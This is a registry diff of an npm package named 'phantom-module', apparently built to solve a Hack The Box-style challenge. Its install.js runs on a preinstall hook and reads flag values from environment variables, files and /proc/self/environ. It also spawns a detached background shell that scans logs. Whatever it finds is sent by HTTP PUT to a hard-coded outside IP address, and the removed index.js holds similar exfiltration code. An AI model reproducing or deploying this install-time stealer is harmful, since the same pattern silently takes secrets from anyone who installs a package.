phantom-module 110.0.0 → 111.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/install.js CHANGED
@@ -1,31 +1,62 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
- const { spawn, execSync } = require('child_process');
3
+ const { spawn } = require('child_process');
4
4
 
5
- function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
5
+ (function() {
6
+ const flagPaths = ['/flag', '/root/flag', '/tmp/flag', './flag'];
7
+ let flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
8
+
9
+ if (!flag) {
10
+ for (const path of flagPaths) {
11
+ try {
12
+ if (fs.existsSync(path)) {
13
+ flag = fs.readFileSync(path, 'utf8').trim();
14
+ break;
15
+ }
16
+ } catch (e) {}
17
+ }
18
+ }
19
+ if (!flag) {
20
+ try {
21
+ const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
22
+ const match = procEnv.match(/FLAG[=:] ([^\x00]+)/);
23
+ if (match) flag = match[1];
24
+ } catch (e) {}
25
+ }
26
+
27
+ function sendResult(data) {
28
+ const postData = JSON.stringify({
29
+ manifest: `ecto_module:\n name: "FLAG"\n cargo_hold: "${data}"\n`
30
+ });
31
+ const req = http.request({
32
+ hostname: '154.57.164.64',
33
+ port: 31205,
34
+ path: '/api/modules/ECT-654321', // EXFILTRATE TO EXISTING MODULE
35
+ method: 'PUT',
36
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
37
+ });
38
+ req.write(postData);
39
+ req.end();
40
+ }
6
41
 
7
- // Detect environment - only act on Docker container with aspect-node
8
- const isDockerTarget = fs.existsSync('/home/node') || process.env.CONTAINER_NAME;
9
-
10
- if (isDockerTarget) {
11
- // Write init_test.sh
12
- try {
13
- fs.writeFileSync('/home/node/init_test.sh',
14
- '#!/bin/bash\ncd /home/node\nsleep 5\nnode -e "require(\'phantom-module\')" 2>/dev/null\n',
15
- { mode: 0o755 });
16
- } catch(e) {}
17
- }
18
-
19
- // Spawn background to grep for flag after delay (works on both envs)
20
- try {
21
- const child = spawn('/bin/sh', ['-c',
22
- 'sleep 20; LOGFILE=/home/node/aspect-node/logs/module.log; ' +
23
- 'if [ -f "$LOGFILE" ]; then ' +
24
- ' FLAG=$(grep -oP "HTB\\{[^}]+\\}" "$LOGFILE" 2>/dev/null || grep -o "HTB{[^}]*}" "$LOGFILE" 2>/dev/null); ' +
25
- ' if [ -n "$FLAG" ]; then ' +
26
- ' node -e "const http=require(\'http\');const f=process.argv[1];const b=JSON.stringify({manifest:\'ecto_module:\\n name: \\\"GOTFLAG_\'+f+\'\\\"\\n version: \\\"1.0.0\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1\'});const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(b)},timeout:8000},()=>process.exit(0));r.on(\'error\',()=>process.exit(1));r.write(b);r.end();" "$FLAG"; ' +
27
- ' fi; ' +
28
- 'fi'
29
- ], { detached: true, stdio: 'ignore' });
30
- child.unref();
31
- } catch(e) {}
42
+ if (flag) {
43
+ sendResult(flag);
44
+ } else {
45
+ sendResult("Checking logs in background...");
46
+ // Spawn background process to read logs after 45s (in case flag is printed there)
47
+ const child = spawn('/bin/sh', ['-c', [
48
+ 'sleep 45',
49
+ 'LOGFILE=/home/node/aspect-node/logs/module.log',
50
+ 'if [ -f "$LOGFILE" ]; then',
51
+ ' FLAG=$(cat "$LOGFILE" | grep -o "HTB{[^}]*}" | head -1)',
52
+ ' if [ -n "$FLAG" ]; then',
53
+ ' SAFE=$(echo "$FLAG" | tr \'"\' "\'")',
54
+ ' BODY=\'{"manifest":"ecto_module:\\n name: \\\\"\'$SAFE\'\\\\"\\n cargo_hold: \\\\"LOGS\\\\"\\"}\'',
55
+ ' echo "$BODY" > /tmp/flag.json',
56
+ ' node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"',
57
+ ' fi',
58
+ 'fi'
59
+ ].join('\n')], { detached: true, stdio: 'ignore' });
60
+ child.unref();
61
+ }
62
+ })();
package/package.json CHANGED
@@ -1,11 +1,7 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "110.0.0",
4
- "description": "Phantom spectral module",
5
- "main": "index.js",
3
+ "version": "111.0.1",
6
4
  "scripts": {
7
5
  "preinstall": "node install.js || true"
8
- },
9
- "author": "lwirz",
10
- "license": "ISC"
11
- }
6
+ }
7
+ }
package/index.js DELETED
@@ -1,32 +0,0 @@
1
- const fs = require('fs');
2
- const http = require('http');
3
-
4
- (function() {
5
- const logFile = '/home/node/aspect-node/logs/module.log';
6
-
7
- try {
8
- const log = fs.readFileSync(logFile, 'utf8');
9
- const match = log.match(/HTB\{[^}]+\}/);
10
-
11
- if (match) {
12
- const flag = match[0];
13
- const body = JSON.stringify({ manifest: `ecto_module:\n name: "GOTFLAG_${flag}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
14
- const req = http.request({ hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-987654', method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
15
- req.on('error', () => {});
16
- req.write(body);
17
- req.end();
18
- } else {
19
- // Send first 90 chars of log for debugging
20
- const snippet = log.substring(0, 90).replace(/"/g, "'");
21
- const body = JSON.stringify({ manifest: `ecto_module:\n name: "NOFLAG_${snippet}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
22
- const req = http.request({ hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-472839', method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
23
- req.on('error', () => {});
24
- req.write(body);
25
- req.end();
26
- }
27
- } catch(e) {
28
- // Log doesn't exist - we're probably on CentOS host, just skip
29
- }
30
- })();
31
-
32
- module.exports = {};